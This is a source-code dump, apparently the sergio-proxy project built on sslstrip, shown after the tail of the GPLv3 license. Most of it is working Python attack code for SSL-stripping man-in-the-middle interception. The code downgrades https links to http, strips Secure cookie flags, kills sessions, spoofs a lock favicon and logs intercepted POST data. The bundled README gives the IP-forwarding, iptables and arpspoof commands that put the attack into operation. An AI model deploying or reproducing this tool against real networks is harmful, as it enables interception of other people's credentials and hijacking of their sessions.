PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF 598 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 599 | 600 | 16. Limitation of Liability. 601 | 602 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS 604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY 605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE 606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF 607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD 608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), 609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF 610 | SUCH DAMAGES. 611 | 612 | 17. Interpretation of Sections 15 and 16. 613 | 614 | If the disclaimer of warranty and limitation of liability provided 615 | above cannot be given local legal effect according to their terms, 616 | reviewing courts shall apply local law that most closely approximates 617 | an absolute waiver of all civil liability in connection with the 618 | Program, unless a warranty or assumption of liability accompanies a 619 | copy of the Program in return for a fee. 620 | 621 | END OF TERMS AND CONDITIONS 622 | 623 | How to Apply These Terms to Your New Programs 624 | 625 | If you develop a new program, and you want it to be of the greatest 626 | possible use to the public, the best way to achieve this is to make it 627 | free software which everyone can redistribute and change under these terms. 628 | 629 | To do so, attach the following notices to the program. It is safest 630 | to attach them to the start of each source file to most effectively 631 | state the exclusion of warranty; and each file should have at least 632 | the "copyright" line and a pointer to where the full notice is found. 633 | 634 | 635 | Copyright (C) 636 | 637 | This program is free software: you can redistribute it and/or modify 638 | it under the terms of the GNU General Public License as published by 639 | the Free Software Foundation, either version 3 of the License, or 640 | (at your option) any later version. 641 | 642 | This program is distributed in the hope that it will be useful, 643 | but WITHOUT ANY WARRANTY; without even the implied warranty of 644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 645 | GNU General Public License for more details. 646 | 647 | You should have received a copy of the GNU General Public License 648 | along with this program. If not, see . 649 | 650 | Also add information on how to contact you by electronic and paper mail. 651 | 652 | If the program does terminal interaction, make it output a short 653 | notice like this when it starts in an interactive mode: 654 | 655 | Copyright (C) 656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 657 | This is free software, and you are welcome to redistribute it 658 | under certain conditions; type `show c' for details. 659 | 660 | The hypothetical commands `show w' and `show c' should show the appropriate 661 | parts of the General Public License. Of course, your program's commands 662 | might be different; for a GUI interface, you would use an "about box". 663 | 664 | You should also get your employer (if you work as a programmer) or school, 665 | if any, to sign a "copyright disclaimer" for the program, if necessary. 666 | For more information on this, and how to apply and follow the GNU GPL, see 667 | . 668 | 669 | The GNU General Public License does not permit incorporating your program 670 | into proprietary programs. If your program is a subroutine library, you 671 | may consider it more useful to permit linking proprietary applications with 672 | the library. If this is what you want to do, use the GNU Lesser General 673 | Public License instead of this License. But first, please read 674 | . 675 | -------------------------------------------------------------------------------- /sslstrip/ClientRequest.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2004-2009 Moxie Marlinspike 2 | # 3 | # This program is free software; you can redistribute it and/or 4 | # modify it under the terms of the GNU General Public License as 5 | # published by the Free Software Foundation; either version 3 of the 6 | # License, or (at your option) any later version. 7 | # 8 | # This program is distributed in the hope that it will be useful, but 9 | # WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 11 | # General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with this program; if not, write to the Free Software 15 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 16 | # USA 17 | # 18 | 19 | import urlparse, logging, os, sys, random 20 | 21 | from twisted.web.http import Request 22 | from twisted.web.http import HTTPChannel 23 | from twisted.web.http import HTTPClient 24 | 25 | from twisted.internet import ssl 26 | from twisted.internet import defer 27 | from twisted.internet import reactor 28 | from twisted.internet.protocol import ClientFactory 29 | 30 | from ServerConnectionFactory import ServerConnectionFactory 31 | from ServerConnection import ServerConnection 32 | from SSLServerConnection import SSLServerConnection 33 | from URLMonitor import URLMonitor 34 | from CookieCleaner import CookieCleaner 35 | from DnsCache import DnsCache 36 | 37 | class ClientRequest(Request): 38 | 39 | ''' This class represents incoming client requests and is essentially where 40 | the magic begins. Here we remove the client headers we dont like, and then 41 | respond with either favicon spoofing, session denial, or proxy through HTTP 42 | or SSL to the server. 43 | ''' 44 | 45 | def __init__(self, channel, queued, reactor=reactor): 46 | Request.__init__(self, channel, queued) 47 | self.reactor = reactor 48 | self.urlMonitor = URLMonitor.getInstance() 49 | self.cookieCleaner = CookieCleaner.getInstance() 50 | self.dnsCache = DnsCache.getInstance() 51 | # self.uniqueId = random.randint(0, 10000) 52 | 53 | def cleanHeaders(self): 54 | headers = self.getAllHeaders().copy() 55 | 56 | if 'accept-encoding' in headers: 57 | del headers['accept-encoding'] 58 | 59 | if 'if-modified-since' in headers: 60 | del headers['if-modified-since'] 61 | 62 | if 'cache-control' in headers: 63 | del headers['cache-control'] 64 | 65 | return headers 66 | 67 | def getPathFromUri(self): 68 | if (self.uri.find("http://") == 0): 69 | index = self.uri.find('/', 7) 70 | return self.uri[index:] 71 | 72 | return self.uri 73 | 74 | def getPathToLockIcon(self): 75 | if os.path.exists("lock.ico"): return "lock.ico" 76 | 77 | scriptPath = os.path.abspath(os.path.dirname(sys.argv[0])) 78 | scriptPath = os.path.join(scriptPath, "../share/sslstrip/lock.ico") 79 | 80 | if os.path.exists(scriptPath): return scriptPath 81 | 82 | logging.warning("Error: Could not find lock.ico") 83 | return "lock.ico" 84 | 85 | def handleHostResolvedSuccess(self, address): 86 | logging.debug("Resolved host successfully: %s -> %s" % (self.getHeader('host'), address)) 87 | host = self.getHeader("host") 88 | headers = self.cleanHeaders() 89 | client = self.getClientIP() 90 | path = self.getPathFromUri() 91 | 92 | self.content.seek(0,0) 93 | postData = self.content.read() 94 | url = 'http://' + host + path 95 | 96 | self.dnsCache.cacheResolution(host, address) 97 | 98 | if (not self.cookieCleaner.isClean(self.method, client, host, headers)): 99 | logging.debug("Sending expired cookies...") 100 | self.sendExpiredCookies(host, path, self.cookieCleaner.getExpireHeaders(self.method, client, 101 | host, headers, path)) 102 | elif (self.urlMonitor.isSecureFavicon(client, path)): 103 | logging.debug("Sending spoofed favicon response...") 104 | self.sendSpoofedFaviconResponse() 105 | elif (self.urlMonitor.isSecureLink(client, url)): 106 | logging.debug("Sending request via SSL...") 107 | self.proxyViaSSL(address, self.method, path, postData, headers, 108 | self.urlMonitor.getSecurePort(client, url)) 109 | else: 110 | logging.debug("Sending request via HTTP...") 111 | self.proxyViaHTTP(address, self.method, path, postData, headers) 112 | 113 | def handleHostResolvedError(self, error): 114 | logging.warning("Host resolution error: " + str(error)) 115 | try: 116 | self.finish() 117 | except: 118 | pass 119 | 120 | def resolveHost(self, host): 121 | address = self.dnsCache.getCachedAddress(host) 122 | 123 | if address != None: 124 | logging.debug("Host cached.") 125 | return defer.succeed(address) 126 | else: 127 | logging.debug("Host not cached.") 128 | return reactor.resolve(host) 129 | 130 | def process(self): 131 | logging.debug("Resolving host: %s" % (self.getHeader('host'))) 132 | host = self.getHeader('host') 133 | deferred = self.resolveHost(host) 134 | 135 | deferred.addCallback(self.handleHostResolvedSuccess) 136 | deferred.addErrback(self.handleHostResolvedError) 137 | 138 | def proxyViaHTTP(self, host, method, path, postData, headers): 139 | connectionFactory = ServerConnectionFactory(method, path, postData, headers, self) 140 | connectionFactory.protocol = ServerConnection 141 | self.reactor.connectTCP(host, 80, connectionFactory) 142 | 143 | def proxyViaSSL(self, host, method, path, postData, headers, port): 144 | clientContextFactory = ssl.ClientContextFactory() 145 | connectionFactory = ServerConnectionFactory(method, path, postData, headers, self) 146 | connectionFactory.protocol = SSLServerConnection 147 | self.reactor.connectSSL(host, port, connectionFactory, clientContextFactory) 148 | 149 | def sendExpiredCookies(self, host, path, expireHeaders): 150 | self.setResponseCode(302, "Moved") 151 | self.setHeader("Connection", "close") 152 | self.setHeader("Location", "http://" + host + path) 153 | 154 | for header in expireHeaders: 155 | self.setHeader("Set-Cookie", header) 156 | 157 | self.finish() 158 | 159 | def sendSpoofedFaviconResponse(self): 160 | icoFile = open(self.getPathToLockIcon()) 161 | 162 | self.setResponseCode(200, "OK") 163 | self.setHeader("Content-type", "image/x-icon") 164 | self.write(icoFile.read()) 165 | 166 | icoFile.close() 167 | self.finish() 168 | -------------------------------------------------------------------------------- /sslstrip/CookieCleaner.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2004-2011 Moxie Marlinspike 2 | # 3 | # This program is free software; you can redistribute it and/or 4 | # modify it under the terms of the GNU General Public License as 5 | # published by the Free Software Foundation; either version 3 of the 6 | # License, or (at your option) any later version. 7 | # 8 | # This program is distributed in the hope that it will be useful, but 9 | # WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 11 | # General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with this program; if not, write to the Free Software 15 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 16 | # USA 17 | # 18 | 19 | import logging 20 | import string 21 | 22 | class CookieCleaner: 23 | '''This class cleans cookies we haven't seen before. The basic idea is to 24 | kill sessions, which isn't entirely straight-forward. Since we want this to 25 | be generalized, there's no way for us to know exactly what cookie we're trying 26 | to kill, which also means we don't know what domain or path it has been set for. 27 | 28 | The rule with cookies is that specific overrides general. So cookies that are 29 | set for mail.foo.com override cookies with the same name that are set for .foo.com, 30 | just as cookies that are set for foo.com/mail override cookies with the same name 31 | that are set for foo.com/ 32 | 33 | The best we can do is guess, so we just try to cover our bases by expiring cookies 34 | in a few different ways. The most obvious thing to do is look for individual cookies 35 | and nail the ones we haven't seen coming from the server, but the problem is that cookies are often 36 | set by Javascript instead of a Set-Cookie header, and if we block those the site 37 | will think cookies are disabled in the browser. So we do the expirations and whitlisting 38 | based on client,server tuples. The first time a client hits a server, we kill whatever 39 | cookies we see then. After that, we just let them through. Not perfect, but pretty effective. 40 | 41 | ''' 42 | 43 | _instance = None 44 | 45 | def getInstance(): 46 | if CookieCleaner._instance == None: 47 | CookieCleaner._instance = CookieCleaner() 48 | 49 | return CookieCleaner._instance 50 | 51 | getInstance = staticmethod(getInstance) 52 | 53 | def __init__(self): 54 | self.cleanedCookies = set(); 55 | self.enabled = False 56 | 57 | def setEnabled(self, enabled): 58 | self.enabled = enabled 59 | 60 | def isClean(self, method, client, host, headers): 61 | if method == "POST": return True 62 | if not self.enabled: return True 63 | if not self.hasCookies(headers): return True 64 | 65 | return (client, self.getDomainFor(host)) in self.cleanedCookies 66 | 67 | def getExpireHeaders(self, method, client, host, headers, path): 68 | domain = self.getDomainFor(host) 69 | self.cleanedCookies.add((client, domain)) 70 | 71 | expireHeaders = [] 72 | 73 | for cookie in headers['cookie'].split(";"): 74 | cookie = cookie.split("=")[0].strip() 75 | expireHeadersForCookie = self.getExpireCookieStringFor(cookie, host, domain, path) 76 | expireHeaders.extend(expireHeadersForCookie) 77 | 78 | return expireHeaders 79 | 80 | def hasCookies(self, headers): 81 | return 'cookie' in headers 82 | 83 | def getDomainFor(self, host): 84 | hostParts = host.split(".") 85 | return "." + hostParts[-2] + "." + hostParts[-1] 86 | 87 | def getExpireCookieStringFor(self, cookie, host, domain, path): 88 | pathList = path.split("/") 89 | expireStrings = list() 90 | 91 | expireStrings.append(cookie + "=" + "EXPIRED;Path=/;Domain=" + domain + 92 | ";Expires=Mon, 01-Jan-1990 00:00:00 GMT\r\n") 93 | 94 | expireStrings.append(cookie + "=" + "EXPIRED;Path=/;Domain=" + host + 95 | ";Expires=Mon, 01-Jan-1990 00:00:00 GMT\r\n") 96 | 97 | if len(pathList) > 2: 98 | expireStrings.append(cookie + "=" + "EXPIRED;Path=/" + pathList[1] + ";Domain=" + 99 | domain + ";Expires=Mon, 01-Jan-1990 00:00:00 GMT\r\n") 100 | 101 | expireStrings.append(cookie + "=" + "EXPIRED;Path=/" + pathList[1] + ";Domain=" + 102 | host + ";Expires=Mon, 01-Jan-1990 00:00:00 GMT\r\n") 103 | 104 | return expireStrings 105 | 106 | 107 | -------------------------------------------------------------------------------- /sslstrip/DnsCache.py: -------------------------------------------------------------------------------- 1 | 2 | class DnsCache: 3 | 4 | ''' 5 | The DnsCache maintains a cache of DNS lookups, mirroring the browser experience. 6 | ''' 7 | 8 | _instance = None 9 | 10 | def __init__(self): 11 | self.cache = {} 12 | 13 | def cacheResolution(self, host, address): 14 | self.cache[host] = address 15 | 16 | def getCachedAddress(self, host): 17 | if host in self.cache: 18 | return self.cache[host] 19 | 20 | return None 21 | 22 | def getInstance(): 23 | if DnsCache._instance == None: 24 | DnsCache._instance = DnsCache() 25 | 26 | return DnsCache._instance 27 | 28 | getInstance = staticmethod(getInstance) 29 | -------------------------------------------------------------------------------- /sslstrip/ProxyPlugins.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2010-2011 Ben Schmidt 2 | # 3 | # This program is free software; you can redistribute it and/or 4 | # modify it under the terms of the GNU General Public License as 5 | # published by the Free Software Foundation; either version 3 of the 6 | # License, or (at your option) any later version. 7 | # 8 | # This program is distributed in the hope that it will be useful, but 9 | # WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 11 | # General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with this program; if not, write to the Free Software 15 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 16 | # USA 17 | # 18 | 19 | import sys 20 | import inspect 21 | 22 | class ProxyPlugins: 23 | ''' 24 | This class does some magic so that all we need to do in 25 | ServerConnection is do a self.plugins.hook() call 26 | and we will call any plugin that implements the function 27 | that it came from with the args passed to the original 28 | function. 29 | 30 | To do this, we are probably abusing the inspect module, 31 | and if it turns out to be too slow it can be changed. For 32 | now, it's nice because it makes for very little code needed 33 | to tie us in. 34 | 35 | Sadly, propagating changes back to the function is not quite 36 | as easy in all cases :-/ . Right now, changes to local function 37 | vars still have to be set back in the function. This only happens 38 | in handleResponse, but is still annoying. 39 | ''' 40 | _instance = None 41 | def setPlugins(self,plugins): 42 | '''Set the plugins in use''' 43 | self.plist = [] 44 | 45 | #build a lookup list 46 | #need to clean up in future 47 | self.pmthds = {} 48 | for p in plugins: 49 | self.addPlugin(p) 50 | def addPlugin(self,p): 51 | '''Load a plugin''' 52 | self.plist.append(p) 53 | for mthd in p.implements: 54 | try: 55 | self.pmthds[mthd].append(getattr(p,mthd)) 56 | except KeyError: 57 | self.pmthds[mthd] = [getattr(p,mthd)] 58 | def removePlugin(self,p): 59 | '''Unload a plugin''' 60 | self.plist.remove(p) 61 | for mthd in p.implements: 62 | self.pmthds[mthd].remove(p) 63 | def hook(self): 64 | '''Magic to hook various function calls in sslstrip''' 65 | #gets the function name and args of our caller 66 | frame = sys._getframe(1) 67 | fname = frame.f_code.co_name 68 | keys,_,_,values = inspect.getargvalues(frame) 69 | 70 | #assumes that no one calls del on an arg :-/ 71 | args = {} 72 | for key in keys: 73 | args[key] = values[key] 74 | 75 | #prevent self conflict 76 | args['request'] = args['self'] 77 | del args['self'] 78 | 79 | #calls any plugin that has this hook 80 | try: 81 | for f in self.pmthds[fname]: 82 | a = f(**args) 83 | if a != None: args = a 84 | except KeyError: 85 | pass 86 | 87 | #pass our changes to the locals back down 88 | return args 89 | 90 | def getInstance(): 91 | if ProxyPlugins._instance == None: 92 | ProxyPlugins._instance = ProxyPlugins() 93 | 94 | return ProxyPlugins._instance 95 | 96 | getInstance = staticmethod(getInstance) 97 | -------------------------------------------------------------------------------- /sslstrip/README.sergio-proxy: -------------------------------------------------------------------------------- 1 | Originally, sergio-proxy was a standalone implementation of a 2 | transparent proxy using the Twisted networking framework 3 | for Python. However, sslstrip uses almost *exactly* the 4 | same interception method, so I decided to use sslstrip's 5 | more mature libraries and try to provide a simple plugin 6 | interface to grab the data. 7 | 8 | The only file that has been modified from sslstrip is the 9 | ServerConnection.py file, from which we can hook at certain 10 | important points during the intercept. 11 | 12 | Copyright 2011, Ben Schmidt 13 | Released under the GPLv3 14 | -------------------------------------------------------------------------------- /sslstrip/README.sslstrip: -------------------------------------------------------------------------------- 1 | sslstrip is a MITM tool that implements Moxie Marlinspike's SSL stripping 2 | attacks. 3 | 4 | It requires Python 2.5 or newer, along with the 'twisted' python module. 5 | 6 | Installing: 7 | * Unpack: tar zxvf sslstrip-0.5.tar.gz 8 | * Install twisted: sudo apt-get install python-twisted-web 9 | * (Optionally) run 'python setup.py install' as root to install, 10 | or you can just run it out of the directory. 11 | 12 | Running: 13 | sslstrip can be run from the source base without installation. 14 | Just run 'python sslstrip.py -h' as a non-root user to get the 15 | command-line options. 16 | 17 | The four steps to getting this working (assuming you're running Linux) 18 | are: 19 | 20 | 1) Flip your machine into forwarding mode (as root): 21 | echo "1" > /proc/sys/net/ipv4/ip_forward 22 | 23 | 2) Setup iptables to intercept HTTP requests (as root): 24 | iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 25 | 26 | 3) Run sslstrip with the command-line options you'd like (see above). 27 | 28 | 4) Run arpspoof to redirect traffic to your machine (as root): 29 | arpspoof -i -t 30 | 31 | More Info: 32 | http://www.thoughtcrime.org/software/sslstrip/ 33 | -------------------------------------------------------------------------------- /sslstrip/SSLServerConnection.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2004-2009 Moxie Marlinspike 2 | # 3 | # This program is free software; you can redistribute it and/or 4 | # modify it under the terms of the GNU General Public License as 5 | # published by the Free Software Foundation; either version 3 of the 6 | # License, or (at your option) any later version. 7 | # 8 | # This program is distributed in the hope that it will be useful, but 9 | # WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 11 | # General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with this program; if not, write to the Free Software 15 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 16 | # USA 17 | # 18 | 19 | import logging, re, string 20 | 21 | from ServerConnection import ServerConnection 22 | 23 | class SSLServerConnection(ServerConnection): 24 | 25 | ''' 26 | For SSL connections to a server, we need to do some additional stripping. First we need 27 | to make note of any relative links, as the server will be expecting those to be requested 28 | via SSL as well. We also want to slip our favicon in here and kill the secure bit on cookies. 29 | ''' 30 | 31 | cookieExpression = re.compile(r"([ \w\d:#@%/;$()~_?\+-=\\\.&]+); ?Secure", re.IGNORECASE) 32 | cssExpression = re.compile(r"url\(([\w\d:#@%/;$~_?\+-=\\\.&]+)\)", re.IGNORECASE) 33 | iconExpression = re.compile(r"", re.IGNORECASE) 34 | linkExpression = re.compile(r"<((a)|(link)|(img)|(script)|(frame)) .*((href)|(src))=\"([\w\d:#@%/;$()~_?\+-=\\\.&]+)\".*>", re.IGNORECASE) 35 | headExpression = re.compile(r"", re.IGNORECASE) 36 | 37 | def __init__(self, command, uri, postData, headers, client): 38 | ServerConnection.__init__(self, command, uri, postData, headers, client) 39 | 40 | def getLogLevel(self): 41 | return logging.INFO 42 | 43 | def getPostPrefix(self): 44 | return "SECURE POST" 45 | 46 | def handleHeader(self, key, value): 47 | if (key.lower() == 'set-cookie'): 48 | value = SSLServerConnection.cookieExpression.sub("\g<1>", value) 49 | 50 | ServerConnection.handleHeader(self, key, value) 51 | 52 | def stripFileFromPath(self, path): 53 | (strippedPath, lastSlash, file) = path.rpartition('/') 54 | return strippedPath 55 | 56 | def buildAbsoluteLink(self, link): 57 | absoluteLink = "" 58 | 59 | if ((not link.startswith('http')) and (not link.startswith('/'))): 60 | absoluteLink = "http://"+self.headers['host']+self.stripFileFromPath(self.uri)+'/'+link 61 | 62 | logging.debug("Found path-relative link in secure transmission: " + link) 63 | logging.debug("New Absolute path-relative link: " + absoluteLink) 64 | elif not link.startswith('http'): 65 | absoluteLink = "http://"+self.headers['host']+link 66 | 67 | logging.debug("Found relative link in secure transmission: " + link) 68 | logging.debug("New Absolute link: " + absoluteLink) 69 | 70 | if not absoluteLink == "": 71 | absoluteLink = absoluteLink.replace('&', '&') 72 | self.urlMonitor.addSecureLink(self.client.getClientIP(), absoluteLink); 73 | 74 | def replaceCssLinks(self, data): 75 | iterator = re.finditer(SSLServerConnection.cssExpression, data) 76 | 77 | for match in iterator: 78 | self.buildAbsoluteLink(match.group(1)) 79 | 80 | return data 81 | 82 | def replaceFavicon(self, data): 83 | match = re.search(SSLServerConnection.iconExpression, data) 84 | 85 | if (match != None): 86 | data = re.sub(SSLServerConnection.iconExpression, 87 | "", data) 88 | else: 89 | data = re.sub(SSLServerConnection.headExpression, 90 | "", data) 91 | 92 | return data 93 | 94 | def replaceSecureLinks(self, data): 95 | data = ServerConnection.replaceSecureLinks(self, data) 96 | data = self.replaceCssLinks(data) 97 | 98 | if (self.urlMonitor.isFaviconSpoofing()): 99 | data = self.replaceFavicon(data) 100 | 101 | iterator = re.finditer(SSLServerConnection.linkExpression, data) 102 | 103 | for match in iterator: 104 | self.buildAbsoluteLink(match.group(10)) 105 | 106 | return data 107 | -------------------------------------------------------------------------------- /sslstrip/ServerConnection.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2004-2009 Moxie Marlinspike 2 | # 3 | # This program is free software; you can redistribute it and/or 4 | # modify it under the terms of the GNU General Public License as 5 | # published by the Free Software Foundation; either version 3 of the 6 | # License, or (at your option) any later version. 7 | # 8 | # This program is distributed in the hope that it will be useful, but 9 | # WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 11 | # General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with this program; if not, write to the Free Software 15 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 16 | # USA 17 | # 18 | 19 | import logging, re, string, random, zlib, gzip, StringIO 20 | import plugins 21 | 22 | from twisted.web.http import HTTPClient 23 | from URLMonitor import URLMonitor 24 | from ProxyPlugins import ProxyPlugins 25 | class ServerConnection(HTTPClient): 26 | 27 | ''' The server connection is where we do the bulk of the stripping. Everything that 28 | comes back is examined. The headers we dont like are removed, and the links are stripped 29 | from HTTPS to HTTP. 30 | ''' 31 | 32 | urlExpression = re.compile(r"(https://[\w\d:#@%/;$()~_?\+-=\\\.&]*)", re.IGNORECASE) 33 | urlType = re.compile(r"https://", re.IGNORECASE) 34 | urlExplicitPort = re.compile(r'https://([a-zA-Z0-9.]+):[0-9]+/', re.IGNORECASE) 35 | 36 | def __init__(self, command, uri, postData, headers, client): 37 | self.command = command 38 | self.uri = uri 39 | self.postData = postData 40 | self.headers = headers 41 | self.client = client 42 | self.urlMonitor = URLMonitor.getInstance() 43 | self.plugins = ProxyPlugins.getInstance() 44 | self.isImageRequest = False 45 | self.isCompressed = False 46 | self.contentLength = None 47 | self.shutdownComplete = False 48 | 49 | def getLogLevel(self): 50 | return logging.DEBUG 51 | 52 | def getPostPrefix(self): 53 | return "POST" 54 | 55 | def sendRequest(self): 56 | self.plugins.hook() 57 | logging.log(self.getLogLevel(), "Sending Request: %s %s" % (self.command, self.uri)) 58 | self.sendCommand(self.command, self.uri) 59 | 60 | def sendHeaders(self): 61 | for header, value in self.headers.items(): 62 | logging.log(self.getLogLevel(), "Sending header: %s : %s" % (header, value)) 63 | self.sendHeader(header, value) 64 | 65 | self.endHeaders() 66 | 67 | def sendPostData(self): 68 | logging.warning(self.getPostPrefix() + " Data (" + self.headers['host'] + "):\n" + str(self.postData)) 69 | self.transport.write(self.postData) 70 | 71 | def connectionMade(self): 72 | self.plugins.hook() 73 | logging.log(self.getLogLevel(), "HTTP connection made.") 74 | self.sendRequest() 75 | self.sendHeaders() 76 | 77 | if (self.command == 'POST'): 78 | self.sendPostData() 79 | 80 | def handleStatus(self, version, code, message): 81 | logging.log(self.getLogLevel(), "Got server response: %s %s %s" % (version, code, message)) 82 | self.client.setResponseCode(int(code), message) 83 | 84 | def handleHeader(self, key, value): 85 | logging.log(self.getLogLevel(), "Got server header: %s:%s" % (key, value)) 86 | 87 | if (key.lower() == 'location'): 88 | value = self.replaceSecureLinks(value) 89 | 90 | if (key.lower() == 'content-type'): 91 | if (value.find('image') != -1): 92 | self.isImageRequest = True 93 | logging.debug("Response is image content, not scanning...") 94 | 95 | if (key.lower() == 'content-encoding'): 96 | if (value.find('gzip') != -1): 97 | logging.debug("Response is compressed...") 98 | self.isCompressed = True 99 | elif (key.lower() == 'content-length'): 100 | self.contentLength = value 101 | elif (key.lower() == 'set-cookie'): 102 | self.client.responseHeaders.addRawHeader(key, value) 103 | else: 104 | self.client.setHeader(key, value) 105 | self.plugins.hook() 106 | def handleEndHeaders(self): 107 | if (self.isImageRequest and self.contentLength != None): 108 | self.client.setHeader("Content-Length", self.contentLength) 109 | 110 | if self.length == 0: 111 | self.shutdown() 112 | 113 | def handleResponsePart(self, data): 114 | if (self.isImageRequest): 115 | self.client.write(data) 116 | else: 117 | HTTPClient.handleResponsePart(self, data) 118 | 119 | def handleResponseEnd(self): 120 | if (self.isImageRequest): 121 | self.shutdown() 122 | else: 123 | HTTPClient.handleResponseEnd(self) 124 | 125 | def handleResponse(self, data): 126 | if (self.isCompressed): 127 | logging.debug("Decompressing content...") 128 | data = gzip.GzipFile('', 'rb', 9, StringIO.StringIO(data)).read() 129 | 130 | logging.log(self.getLogLevel(), "Read from server:\n" + data) 131 | 132 | data = self.replaceSecureLinks(data) 133 | 134 | 135 | res = self.plugins.hook() 136 | data = res['data'] 137 | 138 | if (self.contentLength != None): 139 | self.client.setHeader('Content-Length', len(data)) 140 | 141 | self.client.write(data) 142 | 143 | try: 144 | self.shutdown() 145 | except: 146 | logging.info("Client connection dropped before request finished.") 147 | 148 | def replaceSecureLinks(self, data): 149 | iterator = re.finditer(ServerConnection.urlExpression, data) 150 | 151 | for match in iterator: 152 | url = match.group() 153 | 154 | logging.debug("Found secure reference: " + url) 155 | 156 | url = url.replace('https://', 'http://', 1) 157 | url = url.replace('&', '&') 158 | self.urlMonitor.addSecureLink(self.client.getClientIP(), url) 159 | 160 | data = re.sub(ServerConnection.urlExplicitPort, r'http://\1/', data) 161 | return re.sub(ServerConnection.urlType, 'http://', data) 162 | 163 | def shutdown(self): 164 | if not self.shutdownComplete: 165 | self.shutdownComplete = True 166 | try: 167 | self.client.finish() 168 | self.transport.loseConnection() 169 | except: 170 | pass 171 | 172 | 173 | -------------------------------------------------------------------------------- /sslstrip/ServerConnectionFactory.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2004-2009 Moxie Marlinspike 2 | # 3 | # This program is free software; you can redistribute it and/or 4 | # modify it under the terms of the GNU General Public License as 5 | # published by the Free Software Foundation; either version 3 of the 6 | # License, or (at your option) any later version. 7 | # 8 | # This program is distributed in the hope that it will be useful, but 9 | # WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 11 | # General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with this program; if not, write to the Free Software 15 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 16 | # USA 17 | # 18 | 19 | import logging 20 | from twisted.internet.protocol import ClientFactory 21 | 22 | class ServerConnectionFactory(ClientFactory): 23 | 24 | def __init__(self, command, uri, postData, headers, client): 25 | self.command = command 26 | self.uri = uri 27 | self.postData = postData 28 | self.headers = headers 29 | self.client = client 30 | 31 | def buildProtocol(self, addr): 32 | return self.protocol(self.command, self.uri, self.postData, self.headers, self.client) 33 | 34 | def clientConnectionFailed(self, connector, reason): 35 | logging.debug("Server connection failed.") 36 | 37 | destination = connector.getDestination() 38 | 39 | if (destination.port != 443): 40 | logging.debug("Retrying via SSL") 41 | self.client.proxyViaSSL(self.headers['host'], self.command, self.uri, self.postData, self.headers, 443) 42 | else: 43 | self.client.finish() 44 | 45 | -------------------------------------------------------------------------------- /sslstrip/StrippingProxy.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2004-2009 Moxie Marlinspike 2 | # 3 | # This program is free software; you can redistribute it and/or 4 | # modify it under the terms of the GNU General Public License as 5 | # published by the Free Software Foundation; either version 3 of the 6 | # License, or (at your option) any later version. 7 | # 8 | # This program is distributed in the hope that it will be useful, but 9 | # WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 11 | # General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with this program; if not, write to the Free Software 15 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 16 | # USA 17 | # 18 | 19 | from twisted.web.http import HTTPChannel 20 | from ClientRequest import ClientRequest 21 | 22 | class StrippingProxy(HTTPChannel): 23 | '''sslstrip is, at heart, a transparent proxy server that does some unusual things. 24 | This is the basic proxy server class, where we get callbacks for GET and POST methods. 25 | We then proxy these out using HTTP or HTTPS depending on what information we have about 26 | the (connection, client_address) tuple in our cache. 27 | ''' 28 | 29 | requestFactory = ClientRequest 30 | -------------------------------------------------------------------------------- /sslstrip/URLMonitor.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2004-2009 Moxie Marlinspike 2 | 